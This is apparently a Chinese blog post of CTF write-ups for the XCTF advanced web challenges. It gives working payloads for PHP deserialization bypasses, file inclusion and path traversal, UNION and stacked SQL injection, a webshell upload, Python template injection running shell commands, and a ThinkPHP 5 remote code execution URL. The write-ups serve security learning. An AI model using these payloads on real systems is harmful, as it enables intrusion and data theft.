攻防世界 web进阶区1

目录

baby_web

Training-WWW-Robots

PHP2

unserialize3

 Web_php_unserialize

Web_php_include

warmup

ics-06

NewsCenter

upload1

supersqli 

Web_python_template_injection

NaNNaNNaNNaN-Batman

php_rce

web2


baby_web

题目描述:想想初始页面是哪个

那第一感觉就是index.php 然后在url里面输入后直接跳转到1.php,所以抓包试试,就出了

Training-WWW-Robots

直接查看robots协议

 

PHP2

上来就这个 ,啥也没有

信息收集, 后缀index.phps ,出现源码

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

第一个 if 如果成立的话就要退出来,显然我们要让第一个 if 不成立,就是不能上传一个变量id=admin,但是我们要让上传的这个变量id经过url解码之后等于admin,而且我们知道在当传入参数id时,浏览器在后面会对非ASCII码的字符进行一次urlencode(编码),运行时会自动进行一次urldecode(解码)
所以我们要上传的admin必须要进行两次URL编码

找个能编码的网站真费尽啊

unserialize3

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

攻防世界unserialize3题解_黑锤的博客-CSDN博客_攻防世界unserialize3

此文章讲的很明白,学习了一波 

__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,这也是一个绕过点。

这个是解决咱们这道题的重点了

思路就出来了,将这个对象进行序列化传值,修改其属性这样就可以进行绕过__wakeup了)

当被反序列化的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得_wakeup()函数失效,就是问题的关键所在。所以对其进行修改:

O:4:"xctf":2:{s:4:"flag";s:3:"111";}  修改属性个数
payload:
http://111.200.241.244:51023/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

这道题是绕过__wakeup()函数,利用的也算是反序列化的知识:当被反序列化的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时__wakeup也会失效,如果这里我不对其属性的改变,也就是不将1改为2,那么返回的东西是什么呢?

很简单,当然是立即调用__wakeup()函数可想而知返回的就是bad requests.

 Web_php_unserialize

还是跟着大佬学习,写的很好

攻防世界-Web_php_unserialize详解_Mr_helloword的博客-CSDN博客

<?php
class Demo
{
    private $file = 'index.php';
    public function __construct($file)
    {
        $this->file = $file;
    }
    function __destruct()
    {
        echo @highlight_file($this->file, true);
    }
    function __wakeup()
    {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
$A = new Demo('fl4g.php');                    //创建对象
$C = serialize($A);                     //对对象A进行序列化
$C = str_replace('O:4', 'O:+4', $C);      //绕过正则表达式过滤
$C = str_replace(':1:', ':2:', $C);         //wakeup绕过
var_dump($C);
var_dump(base64_encode($C));            //base64加密

 paylod:

http://111.200.241.244:53678/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

Web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

直接大写绕过php ,用input

warmup

在buu学习了一次了跟着wp复现了,这次自己复现

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

mb_strpos()

 逻辑搞清楚 ,这段代码其实就是 $_page=$page ,urlencode后也是如此

 $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );

也就是满足 传入的$file在whitelist里 ,也就是 source.php或者hint.php,代码会一直true下去

配合hint的内容 

 构造payload

/?file=hint.php%253f../../../../../../../ffffllllaaaagggg
         %253f 是?的 两次url编码

/?file=hint.php?../../../../../../../ffffllllaaaagggg

ics-06

只有这个页面能操作,get了一个id=1 ,然后这就是直接爆破出来

NewsCenter

尝试一下sql注入,看见这个稳了一半了

 常规注入

1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='news')#

1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='secret_table')#

1' union select 1,2,(select group_concat(fl4g) from news.secret_table)#

upload1

只是前端限制必须上传jpg ,png 

抓包修改后缀成php 连蚁剑

supersqli 

[强网杯 2019]随便注 1 - ZM思 - 博客园

就是强网杯随便住

过滤了一众关键词,使用堆叠注入查看表名

-1';show databases;# 

-1';show tables;#

 

 先把words表名改为其他名,再把1919810931114514表名改为words,但是其中还缺少id列,因此可以添加一个id列或者吧flag改为id,这样这个表就成为了默认查询表,

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

输入 1' oi 1=1 # 就查出来了

Web_python_template_injection

题目python大概就是SSTI

没有看到注入点,这题直接放url后面就行

放两个可以用的payload 

{{ config.__class__.__init__.__globals__['os'].popen('cat fl4g').read() }} 
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()}}

NaNNaNNaNNaN-Batman

是一个附件,一段js乱码

 复制这一部分去控制台运行,然后就可以继续美化,

function $() {
	var e = document.getElementById("c")
		.value;
	if (e.length == 16)
		if (e.match(/^be0f23/) != null)
			if (e.match(/233ac/) != null)
				if (e.match(/e98aa$/) != null)
					if (e.match(/c7be9/) != null) {
						var t = ["fl", "s_a", "i", "e}"];
						var n = ["a", "_h0l", "n"];
						var r = ["g{", "e", "_0"];
						var i = ["it'", "_", "n"];
						var s = [t, n, r, i];
						for (var o = 0; o < 13; ++o) {
							document.write(s[o % 4][0]);
							s[o % 4].splice(0, 1)
						}
					}
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _

逻辑就是构造变量e: be0f23开头,中间要匹配到233ac和c7be9,结尾要有e98aa

而且长度限制16

那就可以是be0f233ac7be98aa ,后面的代码也看球不懂

将下载的附件保存为html 就出现了一个提交表单

提交构造好的e就可了

php_rce

 ThinkPHP V5,直接github有payload ,拿来用 

GitHub - SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合

 

 这个可以打通,直接ls查目录 rce即可

http://61.147.171.105:60397?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac /flag

 

web2

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?>

纯加密逻辑,把$miwen先rot13再翻转再base64decode,处理一下得到$_o

按照循环逻辑 反向来一遍即可

$_o = "~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg";

for($_0=strlen($_o)-1;$_0>=0;$_0--){
    $_c=substr($_o,$_0,1);
    $__=ord($_c)-1;
    $_c=chr($__);
    $_=$_.$_c;
}
echo $_;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值